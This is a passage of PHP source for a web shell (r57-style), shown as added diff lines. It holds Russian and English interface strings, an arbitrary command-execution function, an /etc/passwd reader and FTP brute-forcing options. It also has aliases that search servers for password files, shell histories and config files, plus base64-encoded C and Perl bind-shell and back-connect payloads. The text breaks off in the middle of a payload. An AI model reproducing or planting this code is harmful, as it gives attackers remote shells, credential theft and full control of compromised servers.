+'ru_text74'=>'Èñêàòü â ôàéëàõ', +'ru_text75'=>'* ìîæíî èñïîëüçîâàòü ðåãóëÿðíîå âûðàæåíèå', +'ru_text76'=>'Ïîèñê òåêñòà â ôàéëàõ ñ ïîìîùüþ óòèëèòû find', +'ru_text80'=>'Òèï', +'ru_text81'=>'Ñåòü', +'ru_text82'=>'Áàçû äàííûõ', +'ru_text83'=>'Âûïîëíåíèå SQL çàïðîñà', +'ru_text84'=>'SQL çàïðîñ', +'ru_text85'=>'Ïðîâåðêà âîçìîæíîñòè îáõîäà îãðàíè÷åíèé safe_mode ÷åðåç âûïîëíåíèå êîìàíä â MSSQL ñåðâåðå', +'ru_text86'=>'Ñêà÷èâàíèå ôàéëà ñ ñåðâåðà', +'ru_butt14'=>'Ñêà÷àòü', +'ru_text87'=>'Ñêà÷èâàíèå ôàéëîâ ñ óäàëåííîãî ftp-ñåðâåðà', +'ru_text88'=>'FTP-ñåðâåð:ïîðò', +'ru_text89'=>'Ôàéë íà ftp ñåðâåðå', +'ru_text90'=>'Ðåæèì ïåðåäà÷è', +'ru_text91'=>'Àðõèâèðîâàòü â', +'ru_text92'=>'áåç àðõèâàöèè', +'ru_text93'=>'FTP', +'ru_text94'=>'FTP-áðóòôîðñ', +'ru_text95'=>'Ñïèñîê ïîëüçîâàòåëåé', +'ru_text96'=>'Íå óäàëîñü ïîëó÷èòü ñïèñîê ïîëüçîâàòåëåé', +'ru_text97'=>'Ïðîâåðåíî êîìáèíàöèé: ', +'ru_text98'=>'Óäà÷íûõ ïîäêëþ÷åíèé: ', +'ru_text99'=>'* â êà÷åñòâå ëîãèíà è ïàðîëÿ èñïîëüçóåòñÿ èìÿ ïîëüçîâàòåëÿ èç /etc/passwd', +'ru_text100'=>'Îòïðàâêà ôàéëîâ íà óäàëåííûé ôòï ñåðâåð', +'ru_text101'=>'Èñïîëüçîâàòü òàêæå ïåðåâåðíóòîå (user -> resu) èìÿ ïîëüçîâàòåëÿ â êà÷åñòâå ïàðîëÿ', +'ru_text102'=>'Ïî÷òà', +'ru_text103'=>'Îòïðàâêà ïèñüìà', +'ru_text104'=>'Îòïðàâêà ôàéëà íà ïî÷òîâûé ÿùèê', +'ru_text105'=>'Êîìó', +'ru_text106'=>'Îò', +'ru_text107'=>'Òåìà', +'ru_butt15'=>'Îòïðàâèòü', +'ru_text108'=>'Òåêñò ïèñüìà', +'ru_text109'=>'Ñâåðíóòü', +'ru_text110'=>'Ðàçâåðíóòü', +'ru_text111'=>'SQL-Ñåðâåð : ïîðò', +'ru_text112'=>'Ïðîâåðêà âîçìîæíîñòè îáõîäà îãðàíè÷åíèé safe_mode ÷åðåç èñïîëüçîâàíèå ôóíêöèè mb_send_mail', +'ru_text113'=>'Ïðîâåðêà âîçìîæíîñòè îáõîäà îãðàíè÷åíèé safe_mode, ïðîñìîòð ëèñòèíãà äèðåêòîðèé ñ èñïîëüçîâàíèåì imap_list', +'ru_text114'=>'Ïðîâåðêà âîçìîæíîñòè îáõîäà îãðàíè÷åíèé safe_mode, ïðîñìîòð ñîäåðæèìîãî ôàéëà ñ èñïîëüçîâàíèåì imap_body', +/* --------------------------------------------------------------- */ +'eng_text1' =>'Executed command', +'eng_text2' =>'Execute command on server', +'eng_text3' =>'Run command', +'eng_text4' =>'Work directory', +'eng_text5' =>'Upload files on server', +'eng_text6' =>'Local file', +'eng_text7' =>'Aliases', +'eng_text8' =>'Select alias', +'eng_butt1' =>'Execute', +'eng_butt2' =>'Upload', +'eng_text9' =>'Bind port to /bin/bash', +'eng_text10'=>'Port', +'eng_text11'=>'Password for access', +'eng_butt3' =>'Bind', +'eng_text12'=>'back-connect', +'eng_text13'=>'IP', +'eng_text14'=>'Port', +'eng_butt4' =>'Connect', +'eng_text15'=>'Upload files from remote server', +'eng_text16'=>'With', +'eng_text17'=>'Remote file', +'eng_text18'=>'Local file', +'eng_text19'=>'Exploits', +'eng_text20'=>'Use', +'eng_text21'=>'&nbsp;New name', +'eng_text22'=>'datapipe', +'eng_text23'=>'Local port', +'eng_text24'=>'Remote host', +'eng_text25'=>'Remote port', +'eng_text26'=>'Use', +'eng_butt5' =>'Run', +'eng_text28'=>'Work in safe_mode', +'eng_text29'=>'ACCESS DENIED', +'eng_butt6' =>'Change', +'eng_text30'=>'Cat file', +'eng_butt7' =>'Show', +'eng_text31'=>'File not found', +'eng_text32'=>'Eval PHP code', +'eng_text33'=>'Test bypass open_basedir with cURL functions', +'eng_butt8' =>'Test', +'eng_text34'=>'Test bypass safe_mode with include function', +'eng_text35'=>'Test bypass safe_mode with load file in mysql', +'eng_text36'=>'Database . Table', +'eng_text37'=>'Login', +'eng_text38'=>'Password', +'eng_text39'=>'Database', +'eng_text40'=>'Dump database table', +'eng_butt9' =>'Dump', +'eng_text41'=>'Save dump in file', +'eng_text42'=>'Edit files', +'eng_text43'=>'File for edit', +'eng_butt10'=>'Save', +'eng_text44'=>'Can\'t edit file! Only read access!', +'eng_text45'=>'File saved', +'eng_text46'=>'Show phpinfo()', +'eng_text47'=>'Show variables from php.ini', +'eng_text48'=>'Delete temp files', +'eng_butt11'=>'Edit file', +'eng_text49'=>'Delete script from server', +'eng_text50'=>'View cpu info', +'eng_text51'=>'View memory info', +'eng_text52'=>'Find text', +'eng_text53'=>'In dirs', +'eng_text54'=>'Find text in files', +'eng_butt12'=>'Find', +'eng_text55'=>'Only in files', +'eng_text56'=>'Nothing :(', +'eng_text57'=>'Create/Delete File/Dir', +'eng_text58'=>'name', +'eng_text59'=>'file', +'eng_text60'=>'dir', +'eng_butt13'=>'Create/Delete', +'eng_text61'=>'File created', +'eng_text62'=>'Dir created', +'eng_text63'=>'File deleted', +'eng_text64'=>'Dir deleted', +'eng_text65'=>'Create', +'eng_text66'=>'Delete', +'eng_text67'=>'Chown/Chgrp/Chmod', +'eng_text68'=>'Command', +'eng_text69'=>'param1', +'eng_text70'=>'param2', +'eng_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...", +'eng_text72'=>'Text for find', +'eng_text73'=>'Find in folder', +'eng_text74'=>'Find in files', +'eng_text75'=>'* you can use regexp', +'eng_text76'=>'Search text in files via find', +'eng_text80'=>'Type', +'eng_text81'=>'Net', +'eng_text82'=>'Databases', +'eng_text83'=>'Run SQL query', +'eng_text84'=>'SQL query', +'eng_text85'=>'Test bypass safe_mode with commands execute via MSSQL server', +'eng_text86'=>'Download files from server', +'eng_butt14'=>'Download', +'eng_text87'=>'Download files from remote ftp-server', +'eng_text88'=>'FTP-server:port', +'eng_text89'=>'File on ftp', +'eng_text90'=>'Transfer mode', +'eng_text91'=>'Archivation', +'eng_text92'=>'without archivation', +'eng_text93'=>'FTP', +'eng_text94'=>'FTP-bruteforce', +'eng_text95'=>'Users list', +'eng_text96'=>'Can\'t get users list', +'eng_text97'=>'checked: ', +'eng_text98'=>'success: ', +'eng_text99'=>'* use username from /etc/passwd for ftp login and password', +'eng_text100'=>'Send file to remote ftp server', +'eng_text101'=>'Use reverse (user -> resu) login for password', +'eng_text102'=>'Mail', +'eng_text103'=>'Send email', +'eng_text104'=>'Send file to email', +'eng_text105'=>'To', +'eng_text106'=>'From', +'eng_text107'=>'Subj', +'eng_butt15'=>'Send', +'eng_text108'=>'Mail', +'eng_text109'=>'Hide', +'eng_text110'=>'Show', +'eng_text111'=>'SQL-Server : Port', +'eng_text112'=>'Test bypass safe_mode with function mb_send_mail', +'eng_text113'=>'Test bypass safe_mode, view dir list via imap_list', +'eng_text114'=>'Test bypass safe_mode, view file contest via imap_body', +'eng_text777'=>'bypass safemode with copy()', +'eng_text888'=>'File name', +'eng_text7777'=>'bypass safemode with curl()', +'eng_text8888'=>'File name', +'eng_text999'=>'bypass safemode with imap()', +'eng_text9999'=>'File name', +'eng_text1010'=>'bypass safemode with id()', +'eng_text101010'=>'', +); +/* +Àëèàñû êîìàíä +Ïîçâîëÿþò èçáåæàòü ìíîãîêðàòíîãî íàáîðà îäíèõ è òåõ-æå êîìàíä. ( Ñäåëàíî áëàãîäàðÿ ìîåé ïðèðîäíîé ëåíè ) +Âû ìîæåòå ñàìè äîáàâëÿòü èëè èçìåíÿòü êîìàíäû. +*/ +$aliases=array( +'find suid files'=>'find / -type f -perm -04000 -ls', +'find suid files in current dir'=>'find . -type f -perm -04000 -ls', +'find sgid files'=>'find / -type f -perm -02000 -ls', +'find sgid files in current dir'=>'find . -type f -perm -02000 -ls', +'find config.inc.php files'=>'find / -type f -name config.inc.php', +'find config.inc.php files in current dir'=>'find . -type f -name config.inc.php', +'find config* files'=>'find / -type f -name "config*"', +'find config* files in current dir'=>'find . -type f -name "config*"', +'find all writable files'=>'find / -type f -perm -2 -ls', +'find all writable files in current dir'=>'find . -type f -perm -2 -ls', +'find all writable directories'=>'find / -type d -perm -2 -ls', +'find all writable directories in current dir'=>'find . -type d -perm -2 -ls', +'find all writable directories and files'=>'find / -perm -2 -ls', +'find all writable directories and files in current dir'=>'find . -perm -2 -ls', +'find all service.pwd files'=>'find / -type f -name service.pwd', +'find service.pwd files in current dir'=>'find . -type f -name service.pwd', +'find all .htpasswd files'=>'find / -type f -name .htpasswd', +'find .htpasswd files in current dir'=>'find . -type f -name .htpasswd', +'find all .bash_history files'=>'find / -type f -name .bash_history', +'find .bash_history files in current dir'=>'find . -type f -name .bash_history', +'find all .mysql_history files'=>'find / -type f -name .mysql_history', +'find .mysql_history files in current dir'=>'find . -type f -name .mysql_history', +'find all .fetchmailrc files'=>'find / -type f -name .fetchmailrc', +'find .fetchmailrc files in current dir'=>'find . -type f -name .fetchmailrc', +'list file attributes on a Linux second extended file system'=>'lsattr -va', +'show opened ports'=>'netstat -an | grep -i listen', +'----------------------------------------------------------------------------------------------------'=>'ls -la' +); +$table_up1 = "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b><div align=center>:: "; +$table_up2 = " ::</div></b></font></td></tr><tr><td>"; +$table_up3 = "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc>"; +$table_end1 = "</td></tr>"; +$arrow = " <font face=Wingdings color=gray>è</font>"; +$lb = "<font color=black>[</font>"; +$rb = "<font color=black>]</font>"; +$font = "<font face=Verdana size=-2>"; +$ts = "<table class=table1 width=100% align=center>"; +$te = "</table>"; +$fs = "<form name=form method=POST>"; +$fe = "</form>"; + +if(isset($_GET['users'])) + { + if(!$users=get_users()) { echo "<center><font face=Verdana size=-2 color=red>".$lang[$language.'_text96']."</font></center>"; } + else + { + echo '<center>'; + foreach($users as $user) { echo $user."<br>"; } + echo '</center>'; + } + echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); + } + +if (!empty($_POST['dir'])) { @chdir($_POST['dir']); } +$dir = @getcwd(); +$windows = 0; +$unix = 0; +if(strlen($dir)>1 && $dir[1]==":") $windows=1; else $unix=1; +if(empty($dir)) + { + $os = getenv('OS'); + if(empty($os)){ $os = php_uname(); } + if(empty($os)){ $os ="-"; $unix=1; } + else + { + if(@eregi("^win",$os)) { $windows = 1; } + else { $unix = 1; } + } + } +if(!empty($_POST['s_dir']) && !empty($_POST['s_text']) && !empty($_POST['cmd']) && $_POST['cmd'] == "search_text") + { + echo $head; + if(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']); } + else { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text']); } + $sr->SearchText(0,0); + $res = $sr->GetResultFiles(); + $found = $sr->GetMatchesCount(); + $titles = $sr->GetTitles(); + $r = ""; + if($found > 0) + { + $r .= "<TABLE width=100%>"; + foreach($res as $file=>$v) + { + $r .= "<TR>"; + $r .= "<TD colspan=2><font face=Verdana size=-2><b>".ws(3); + $r .= ($windows)? str_replace("/","\\",$file) : $file; + $r .= "</b></font></ TD>"; + $r .= "</TR>"; + foreach($v as $a=>$b) + { + $r .= "<TR>"; + $r .= "<TD align=center><B><font face=Verdana size=-2>".$a."</font></B></TD>"; + $r .= "<TD><font face=Verdana size=-2>".ws(2).$b."</font></TD>"; + $r .= "</TR>\n"; + } + } + $r .= "</TABLE>"; + echo $r; + } + else + { + echo "<P align=center><B><font face=Verdana size=-2>".$lang[$language.'_text56']."</B></font></P>"; + } + echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; + die(); + } +if(strpos(ex("echo abcr57"),"r57")!=3) { $safe_mode = 1; } +$SERVER_SOFTWARE = getenv('SERVER_SOFTWARE'); +if(empty($SERVER_SOFTWARE)){ $SERVER_SOFTWARE = "-"; } +function ws($i) +{ +return @str_repeat("&nbsp;",$i); +} +function ex($cfe) +{ + $res = ''; + if (!empty($cfe)) + { + if(function_exists('exec')) + { + @exec($cfe,$res); + $res = join("\n",$res); + } + elseif(function_exists('shell_exec')) + { + $res = @shell_exec($cfe); + } + elseif(function_exists('system')) + { + @ob_start(); + @system($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(function_exists('passthru')) + { + @ob_start(); + @passthru($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(@is_resource($f = @popen($cfe,"r"))) + { + $res = ""; + while(!@feof($f)) { $res .= @fread($f,1024); } + @pclose($f); + } + } + return $res; +} +function get_users() +{ + $users = array(); + $rows=file('/etc/passwd'); + if(!$rows) return 0; + foreach ($rows as $string) + { + $user = @explode(":",$string); + if(substr($string,0,1)!='#') array_push($users,$user[0]); + } + return $users; +} +function we($i) +{ +if($GLOBALS['language']=="ru"){ $text = 'Îøèáêà! Íå ìîãó çàïèñàòü â ôàéë '; } +else { $text = "[-] ERROR! Can't write in file "; } +echo "<table width=100% cellpadding=0 cellspacing=0><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$text.$i."</b></div></font></td></tr></table>"; +return null; +} +function re($i) +{ +if($GLOBALS['language']=="ru"){ $text = 'Îøèáêà! Íå ìîãó ïðî÷èòàòü ôàéë '; } +else { $text = "[-] ERROR! Can't read file "; } +echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$text.$i."</b></div></font></td></tr></table>"; +return null; +} +function ce($i) +{ +if($GLOBALS['language']=="ru"){ $text = "Íå óäàëîñü ñîçäàòü "; } +else { $text = "Can't create "; } +echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$text.$i."</b></div></font></td></tr></table>"; +return null; +} +function fe($l,$n) +{ +$text['ru'] = array('Íå óäàëîñü ïîäêëþ÷èòüñÿ ê ftp ñåðâåðó','Îøèáêà àâòîðèçàöèè íà ftp ñåðâåðå','Íå óäàëîñü ïîìåíÿòü äèðåêòîðèþ íà ftp ñåðâåðå'); +$text['eng'] = array('Connect to ftp server failed','Login to ftp server failed','Can\'t change dir on ftp server'); +echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$text[$l][$n]."</b></div></font></td></tr></table>"; +return null; +} +function mr($l,$n) +{ +$text['ru'] = array('Íå óäàëîñü îòïðàâèòü ïèñüìî','Ïèñüìî îòïðàâëåíî'); +$text['eng'] = array('Can\'t send mail','Mail sent'); +echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$text[$l][$n]."</b></div></font></td></tr></table>"; +return null; +} +function perms($mode) +{ +if ($GLOBALS['windows']) return 0; +if( $mode & 0x1000 ) { $type='p'; } +else if( $mode & 0x2000 ) { $type='c'; } +else if( $mode & 0x4000 ) { $type='d'; } +else if( $mode & 0x6000 ) { $type='b'; } +else if( $mode & 0x8000 ) { $type='-'; } +else if( $mode & 0xA000 ) { $type='l'; } +else if( $mode & 0xC000 ) { $type='s'; } +else $type='u'; +$owner["read"] = ($mode & 00400) ? 'r' : '-'; +$owner["write"] = ($mode & 00200) ? 'w' : '-'; +$owner["execute"] = ($mode & 00100) ? 'x' : '-'; +$group["read"] = ($mode & 00040) ? 'r' : '-'; +$group["write"] = ($mode & 00020) ? 'w' : '-'; +$group["execute"] = ($mode & 00010) ? 'x' : '-'; +$world["read"] = ($mode & 00004) ? 'r' : '-'; +$world["write"] = ($mode & 00002) ? 'w' : '-'; +$world["execute"] = ($mode & 00001) ? 'x' : '-'; +if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S'; +if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S'; +if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T'; +$s=sprintf("%1s", $type); +$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']); +$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']); +$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']); +return trim($s); +} +function in($type,$name,$size,$value) +{ + $ret = "<input type=".$type." name=".$name." "; + if($size != 0) { $ret .= "size=".$size." "; } + $ret .= "value=\"".$value."\">"; + return $ret; +} +function which($pr) +{ +$path = ex("which $pr"); +if(!empty($path)) { return $path; } else { return $pr; } +} +function cf($fname,$text) +{ + $w_file=@fopen($fname,"w") or we($fname); + if($w_file) + { + @fputs($w_file,@base64_decode($text)); + @fclose($w_file); + } +} +function sr($l,$t1,$t2) + { + return "<tr class=tr1><td class=td1 width=".$l."% align=right>".$t1."</td><td class=td1 align=left>".$t2."</td></tr>"; + } +if (!@function_exists("view_size")) +{ +function view_size($size) +{ + if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";} + elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";} + elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";} + else {$size = $size . " B";} + return $size; +} +} + function DirFilesR($dir,$types='') + { + $files = Array(); + if(($handle = @opendir($dir))) + { + while (false !== ($file = @readdir($handle))) + { + if ($file != "." && $file != "..") + { + if(@is_dir($dir."/".$file)) + $files = @array_merge($files,DirFilesR($dir."/".$file,$types)); + else + { + $pos = @strrpos($file,"."); + $ext = @substr($file,$pos,@strlen($file)-$pos); + if($types) + { + if(@in_array($ext,explode(';',$types))) + $files[] = $dir."/".$file; + } + else + $files[] = $dir."/".$file; + } + } + } + @closedir($handle); + } + return $files; + } + class SearchResult + { + var $text; + var $FilesToSearch; + var $ResultFiles; + var $FilesTotal; + var $MatchesCount; + var $FileMatschesCount; + var $TimeStart; + var $TimeTotal; + var $titles; + function SearchResult($dir,$text,$filter='') + { + $dirs = @explode(";",$dir); + $this->FilesToSearch = Array(); + for($a=0;$a<count($dirs);$a++) + $this->FilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter)); + $this->text = $text; + $this->FilesTotal = @count($this->FilesToSearch); + $this->TimeStart = getmicrotime(); + $this->MatchesCount = 0; + $this->ResultFiles = Array(); + $this->FileMatchesCount = Array(); + $this->titles = Array(); + } + function GetFilesTotal() { return $this->FilesTotal; } + function GetTitles() { return $this->titles; } + function GetTimeTotal() { return $this->TimeTotal; } + function GetMatchesCount() { return $this->MatchesCount; } + function GetFileMatchesCount() { return $this->FileMatchesCount; } + function GetResultFiles() { return $this->ResultFiles; } + function SearchText($phrase=0,$case=0) { + $qq = @explode(' ',$this->text); + $delim = '|'; + if($phrase) + foreach($qq as $k=>$v) + $qq[$k] = '\b'.$v.'\b'; + $words = '('.@implode($delim,$qq).')'; + $pattern = "/".$words."/"; + if(!$case) + $pattern .= 'i'; + foreach($this->FilesToSearch as $k=>$filename) + { + $this->FileMatchesCount[$filename] = 0; + $FileStrings = @file($filename) or @next; + for($a=0;$a<@count($FileStrings);$a++) + { + $count = 0; + $CurString = $FileStrings[$a]; + $CurString = @Trim($CurString); + $CurString = @strip_tags($CurString); + $aa = ''; + if(($count = @preg_match_all($pattern,$CurString,$aa))) + { + $CurString = @preg_replace($pattern,"<SPAN style='color: #990000;'><b>\\1</b></SPAN>",$CurString); + $this->ResultFiles[$filename][$a+1] = $CurString; + $this->MatchesCount += $count; + $this->FileMatchesCount[$filename] += $count; + } + } + } + $this->TimeTotal = @round(getmicrotime() - $this->TimeStart,4); + } + } + function getmicrotime() + { + list($usec,$sec) = @explode(" ",@microtime()); + return ((float)$usec + (float)$sec); + } +$port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS +A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I +GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt +b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9 +pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF +NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK +ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog +ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk +7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2 +9tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld +2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu +dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp +lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0="; +$port_bind_bd_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS +VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs +JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV +TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG +lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK +Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i +Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N +lIENPTk47DQpleGl0IDA7DQp9DQp9"; +$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj +aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR +hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT +sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI +kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi +KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl +OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; +$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC +BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb +SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd +KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ +sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC +Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D +QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp +Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="; +$datapipe_c="I2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCiNpbmNsdWRlIDxzeXMvd2FpdC5oPg0KI2luY2 +x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPGVycm5vLmg+DQojaW5jb +HVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxsaW51eC90aW1lLmg+DQojaWZkZWYgU1RSRVJST1INCmV4dGVybiBj +aGFyICpzeXNfZXJybGlzdFtdOw0KZXh0ZXJuIGludCBzeXNfbmVycjsNCmNoYXIgKnVuZGVmID0gIlVuZGVmaW5lZCBlcnJvciI7DQpjaGFyICpzdHJ +lcnJvcihlcnJvcikgIA0KaW50IGVycm9yOyAgDQp7IA0KaWYgKGVycm9yID4gc3lzX25lcnIpDQpyZXR1cm4gdW5kZWY7DQpyZXR1cm4gc3lzX2Vycm +xpc3RbZXJyb3JdOw0KfQ0KI2VuZGlmDQoNCm1haW4oYXJnYywgYXJndikgIA0KICBpbnQgYXJnYzsgIA0KICBjaGFyICoqYXJndjsgIA0KeyANCiAga +W50IGxzb2NrLCBjc29jaywgb3NvY2s7DQogIEZJTEUgKmNmaWxlOw0KICBjaGFyIGJ1Zls0MDk2XTsNCiAgc3RydWN0IHNvY2thZGRyX2luIGxhZGRy 